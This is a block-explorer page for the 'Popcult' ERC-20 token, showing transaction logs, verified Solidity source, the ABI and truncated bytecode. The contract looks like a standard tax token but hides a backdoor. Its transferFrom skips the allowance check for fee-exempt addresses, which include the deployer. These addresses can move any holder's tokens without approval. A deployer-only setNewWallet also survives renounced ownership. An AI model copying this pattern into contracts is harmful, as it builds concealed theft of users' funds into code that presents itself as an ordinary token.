ETH Price: $1,961.39 (-5.25%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer From211627732024-11-11 6:53:23473 days ago1731308003IN
0xA787DC80...1F05C8B16
0 ETH0.0007698911.51501142
Transfer From211627682024-11-11 6:52:23473 days ago1731307943IN
0xA787DC80...1F05C8B16
0 ETH0.0008619712.89219152
Transfer From211627182024-11-11 6:42:23473 days ago1731307343IN
0xA787DC80...1F05C8B16
0 ETH0.0009367314.01042819
Approve211623122024-11-11 5:20:47473 days ago1731302447IN
0xA787DC80...1F05C8B16
0 ETH0.0010687723.09008554
Approve211623122024-11-11 5:20:47473 days ago1731302447IN
0xA787DC80...1F05C8B16
0 ETH0.0010687723.09008554
Approve211622792024-11-11 5:14:11473 days ago1731302051IN
0xA787DC80...1F05C8B16
0 ETH0.0009994121.59178998
Approve211622792024-11-11 5:14:11473 days ago1731302051IN
0xA787DC80...1F05C8B16
0 ETH0.0009994121.59178998
Approve211622792024-11-11 5:14:11473 days ago1731302051IN
0xA787DC80...1F05C8B16
0 ETH0.0010003721.61235156
Approve211622742024-11-11 5:13:11473 days ago1731301991IN
0xA787DC80...1F05C8B16
0 ETH0.0010431922.5375841
Approve211622742024-11-11 5:13:11473 days ago1731301991IN
0xA787DC80...1F05C8B16
0 ETH0.0010431922.5375841
Transfer From211622612024-11-11 5:10:35473 days ago1731301835IN
0xA787DC80...1F05C8B16
0 ETH0.0011282316.87155806
Transfer From211622582024-11-11 5:09:59473 days ago1731301799IN
0xA787DC80...1F05C8B16
0 ETH0.001060515.85868759
Approve211622522024-11-11 5:08:47473 days ago1731301727IN
0xA787DC80...1F05C8B16
0 ETH0.0010493422.67037974
Approve211622522024-11-11 5:08:47473 days ago1731301727IN
0xA787DC80...1F05C8B16
0 ETH0.0010493422.67037974
Approve211622522024-11-11 5:08:47473 days ago1731301727IN
0xA787DC80...1F05C8B16
0 ETH0.0010493422.67037974
Transfer From211622502024-11-11 5:08:23473 days ago1731301703IN
0xA787DC80...1F05C8B16
0 ETH0.001098416.42543992
Approve211622492024-11-11 5:08:11473 days ago1731301691IN
0xA787DC80...1F05C8B16
0 ETH0.0007706716.53850922
Approve211622492024-11-11 5:08:11473 days ago1731301691IN
0xA787DC80...1F05C8B16
0 ETH0.0010041821.69482975
Approve211622492024-11-11 5:08:11473 days ago1731301691IN
0xA787DC80...1F05C8B16
0 ETH0.0010041821.69482975
Transfer From211622332024-11-11 5:04:59473 days ago1731301499IN
0xA787DC80...1F05C8B16
0 ETH0.0011936617.84992731
Approve211622272024-11-11 5:03:47473 days ago1731301427IN
0xA787DC80...1F05C8B16
0 ETH0.0010998623.76193809
Approve211622272024-11-11 5:03:47473 days ago1731301427IN
0xA787DC80...1F05C8B16
0 ETH0.0010998623.76193809
Approve211622272024-11-11 5:03:47473 days ago1731301427IN
0xA787DC80...1F05C8B16
0 ETH0.0011244624.29329957
Approve211622272024-11-11 5:03:47473 days ago1731301427IN
0xA787DC80...1F05C8B16
0 ETH0.0011244624.29329957
Approve211622272024-11-11 5:03:47473 days ago1731301427IN
0xA787DC80...1F05C8B16
0 ETH0.0011244624.29329957
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer211622172024-11-11 5:01:47473 days ago1731301307
0xA787DC80...1F05C8B16
0.43833907 ETH
Transfer211622172024-11-11 5:01:47473 days ago1731301307
0xA787DC80...1F05C8B16
0.43833907 ETH
Transfer211622102024-11-11 5:00:23473 days ago1731301223
0xA787DC80...1F05C8B16
0.5341176 ETH
Transfer211622102024-11-11 5:00:23473 days ago1731301223
0xA787DC80...1F05C8B16
0.5341176 ETH
Transfer211622102024-11-11 5:00:23473 days ago1731301223
0xA787DC80...1F05C8B16
0.00000005 ETH
Transfer211622102024-11-11 5:00:23473 days ago1731301223
0xA787DC80...1F05C8B16
0.00000005 ETH
Transfer211621992024-11-11 4:58:11473 days ago1731301091
0xA787DC80...1F05C8B16
0.2361138 ETH
Transfer211621992024-11-11 4:58:11473 days ago1731301091
0xA787DC80...1F05C8B16
0.2361138 ETH
Transfer211621982024-11-11 4:57:59473 days ago1731301079
0xA787DC80...1F05C8B16
0.23325805 ETH
Transfer211621982024-11-11 4:57:59473 days ago1731301079
0xA787DC80...1F05C8B16
0.23325805 ETH
Transfer211621852024-11-11 4:55:23473 days ago1731300923
0xA787DC80...1F05C8B16
0.40728192 ETH
Transfer211621852024-11-11 4:55:23473 days ago1731300923
0xA787DC80...1F05C8B16
0.40728192 ETH
Transfer211621722024-11-11 4:52:47473 days ago1731300767
0xA787DC80...1F05C8B16
0.38592952 ETH
Transfer211621722024-11-11 4:52:47473 days ago1731300767
0xA787DC80...1F05C8B16
0.38592952 ETH
Transfer211621662024-11-11 4:51:35473 days ago1731300695
0xA787DC80...1F05C8B16
0.32791032 ETH
Transfer211621662024-11-11 4:51:35473 days ago1731300695
0xA787DC80...1F05C8B16
0.32791032 ETH
Transfer211621602024-11-11 4:50:23473 days ago1731300623
0xA787DC80...1F05C8B16
0.4244005 ETH
Transfer211621602024-11-11 4:50:23473 days ago1731300623
0xA787DC80...1F05C8B16
0.4244005 ETH
Transfer211621542024-11-11 4:49:11473 days ago1731300551
0xA787DC80...1F05C8B16
0.46506566 ETH
Transfer211621542024-11-11 4:49:11473 days ago1731300551
0xA787DC80...1F05C8B16
0.46506566 ETH
Transfer211621522024-11-11 4:48:47473 days ago1731300527
0xA787DC80...1F05C8B16
0.50830682 ETH
Transfer211621522024-11-11 4:48:47473 days ago1731300527
0xA787DC80...1F05C8B16
0.50830682 ETH
Transfer211621452024-11-11 4:47:23473 days ago1731300443
0xA787DC80...1F05C8B16
0.53920523 ETH
Transfer211621452024-11-11 4:47:23473 days ago1731300443
0xA787DC80...1F05C8B16
0.53920523 ETH
Add Liquidity ET...211621352024-11-11 4:45:23473 days ago1731300323
0xA787DC80...1F05C8B16
1 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
POPCULT

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2024-11-11
*/

/**

https://x.com/i/communities/1855805065657045147

Telegram: https://t.me/popcult_erc20

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract POPCULT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tAmounts;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _feeExempt;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=6;
    uint256 private _initialSellTax=6;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=35;
    uint256 private _reduceSellTaxAt=35;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Popcult";
    string private constant _symbol = unicode"POPCULT";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    address private _deployer;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _taxWallet = payable(_msgSender());
        _tAmounts[address(this)] = _tTotal;
        _feeExempt[address(this)] = true;
        _feeExempt[_msgSender()] = true;
        _deployer = _msgSender();
        
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tAmounts[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount); if(!_feeExempt[msg.sender])
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (to != uniswapV2Pair && ! _feeExempt[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                taxVitalik();
            }
        }
        if(taxAmount>0){
          _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tAmounts[from]=_tAmounts[from].sub(amount);
        _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function swapTokensForETH(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits(address payable limit) external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _taxWallet = limit;
        _feeExempt[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function taxVitalik() private {
        _taxWallet.transfer(address(this).balance);
    }
    function vitalikETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function vitalikERC(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function setNewWallet(address payable newAddr) external {
        require(_msgSender()==_deployer, "!deployer");
        _taxWallet = newAddr;
        _feeExempt[newAddr] = true;
    }
    function launch() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    function renounceOwnership() public override onlyOwner {
        require(_maxTxAmount == _tTotal);
        super.renounceOwnership();
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"vitalikERC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vitalikETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006600555600680555f6007555f60085560236009556023600a556005600b555f600c5560646009600a6200003a919062000376565b6200004a90633b9aca006200038d565b620000579060026200038d565b620000639190620003a7565b600d556064620000766009600a62000376565b6200008690633b9aca006200038d565b620000939060026200038d565b6200009f9190620003a7565b600e556064620000b26009600a62000376565b620000c290633b9aca006200038d565b620000cf9060016200038d565b620000db9190620003a7565b600f556064620000ee6009600a62000376565b620000fe90633b9aca006200038d565b6200010b9060016200038d565b620001179190620003a7565b601055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790555f620001493390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001b26009600a62000376565b620001c290633b9aca006200038d565b305f8181526001602081815260408084209590955560039052838220805460ff1990811683179091553380845294832080549091169091179055601380546001600160a01b031916909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002406009600a62000376565b6200025090633b9aca006200038d565b60405190815260200160405180910390a3620003c7565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002bb57815f19048211156200029f576200029f62000267565b80851615620002ad57918102915b93841c939080029062000280565b509250929050565b5f82620002d35750600162000370565b81620002e157505f62000370565b8160018114620002fa5760028114620003055762000325565b600191505062000370565b60ff84111562000319576200031962000267565b50506001821b62000370565b5060208310610133831016604e8410600b84101617156200034a575081810a62000370565b6200035683836200027b565b805f19048211156200036c576200036c62000267565b0290505b92915050565b5f6200038660ff841683620002c3565b9392505050565b808202811582820484141762000370576200037062000267565b5f82620003c257634e487b7160e01b5f52601260045260245ffd5b500490565b611a0480620003d55f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461031457806395d89b4114610329578063a9059cbb14610358578063bf474bed14610377578063dd62ed3e1461038c575f80fd5b8063715018a6146102925780637d1db4a5146102a657806382238a63146102bb578063833ab6ac146102cf5780638da5cb5b146102ee575f80fd5b80631905fbf6116100e35780631905fbf6146101e657806323b872dd14610205578063313ce5671461022457806332489e9b1461023f57806370a082311461025e575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d0565b005b34801561014a575f80fd5b50604080518082019091526007815266141bdc18dd5b1d60ca1b60208201525b60405161017791906115e0565b60405180910390f35b34801561018b575f80fd5b5061019f61019a366004611640565b6106f1565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460105481565b604051908152602001610177565b3480156101dd575f80fd5b506101c4610707565b3480156101f1575f80fd5b5061013d61020036600461166a565b610727565b348015610210575f80fd5b5061019f61021f366004611685565b6107af565b34801561022f575f80fd5b5060405160098152602001610177565b34801561024a575f80fd5b5061013d61025936600461166a565b610827565b348015610269575f80fd5b506101c461027836600461166a565b6001600160a01b03165f9081526001602052604090205490565b34801561029d575f80fd5b5061013d61090f565b3480156102b1575f80fd5b506101c4600d5481565b3480156102c6575f80fd5b5061013d610968565b3480156102da575f80fd5b5061013d6102e9366004611640565b6109c8565b3480156102f9575f80fd5b505f546040516001600160a01b039091168152602001610177565b34801561031f575f80fd5b506101c4600e5481565b348015610334575f80fd5b506040805180820190915260078152661413d410d5531560ca1b602082015261016a565b348015610363575f80fd5b5061019f610372366004611640565b610af8565b348015610382575f80fd5b506101c4600f5481565b348015610397575f80fd5b506101c46103a63660046116c3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104025760405162461bcd60e51b81526004016103f9906116fa565b60405180910390fd5b601354600160a01b900460ff161561045c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d0919061172f565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610553919061172f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561059d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c1919061172f565b601280546001600160a01b0319166001600160a01b03928316179055601154610606913091166105f36009600a61183e565b61060190633b9aca0061184c565b610b04565b6011546001600160a01b031663f305d7194730610637816001600160a01b03165f9081526001602052604090205490565b5f8061064a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d59190611863565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f6106fd338484610b04565b5060015b92915050565b5f6107146009600a61183e565b61072290633b9aca0061184c565b905090565b6013546001600160a01b0316336001600160a01b0316146107765760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016103f9565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6107bb848484610c27565b335f9081526003602052604090205460ff1661081d5761081d8433610601856040518060600160405280602881526020016119a7602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ec565b5060019392505050565b5f546001600160a01b031633146108505760405162461bcd60e51b81526004016103f9906116fa565b61085c6009600a61183e565b61086a90633b9aca0061184c565b600d556108796009600a61183e565b61088790633b9aca0061184c565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108ed6009600a61183e565b6108fb90633b9aca0061184c565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109385760405162461bcd60e51b81526004016103f9906116fa565b6109446009600a61183e565b61095290633b9aca0061184c565b600d541461095e575f80fd5b610966611224565b565b5f546001600160a01b031633146109915760405162461bcd60e51b81526004016103f9906116fa565b5f471161099c575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156109c5573d5f803e3d5ffd5b50565b5f546001600160a01b031633146109f15760405162461bcd60e51b81526004016103f9906116fa565b6040516370a0823160e01b81523060048201525f90610a7290606490610a6c9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a66919061188e565b90611295565b9061131a565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ace573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af291906118a5565b50505050565b5f6106fd338484610c27565b6001600160a01b038316610b665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b038216610ced5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b5f8111610d4e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f9565b5f80546001600160a01b03858116911614801590610d7957505f546001600160a01b03848116911614155b156110af576012546001600160a01b038581169116148015610da957506011546001600160a01b03848116911614155b8015610dcd57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f2c57601354600160a01b900460ff16610e235760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103f9565b610e496064610a6c600954600c5411610e3e57600554610e42565b6007545b8590611295565b9050600d54821115610e9d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f9565b600e5482610ebf856001600160a01b03165f9081526001602052604090205490565b610ec991906118c4565b1115610f175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b600c8054905f610f26836118d7565b91905055505b6012546001600160a01b03848116911614801590610f6257506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe157600e5482610f89856001600160a01b03165f9081526001602052604090205490565b610f9391906118c4565b1115610fe15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b6012546001600160a01b039081169084160361101f5761101c6064610a6c600a54600c541161101257600654610e42565b6008548590611295565b90505b601354600160a81b900460ff1615801561104657506012546001600160a01b038481169116145b801561105b5750601354600160b01b900460ff165b801561106a5750600b54600c54115b156110af57305f90815260016020526040902054600f548111156110a5576110a56110a08461109b8460105461135b565b61135b565b61136f565b6110ad6114df565b505b801561112757305f908152600160205260409020546110ce9082611515565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111499083611573565b6001600160a01b0385165f9081526001602052604090205561118c61116e8383611573565b6001600160a01b0385165f9081526001602052604090205490611515565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d58585611573565b60405190815260200160405180910390a350505050565b5f818484111561120f5760405162461bcd60e51b81526004016103f991906115e0565b505f61121b84866118ef565b95945050505050565b5f546001600160a01b0316331461124d5760405162461bcd60e51b81526004016103f9906116fa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f036112a457505f610701565b5f6112af838561184c565b9050826112bc8583611902565b146113135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b5f61131383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b4565b5f8183116113695782611313565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b5576113b5611921565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b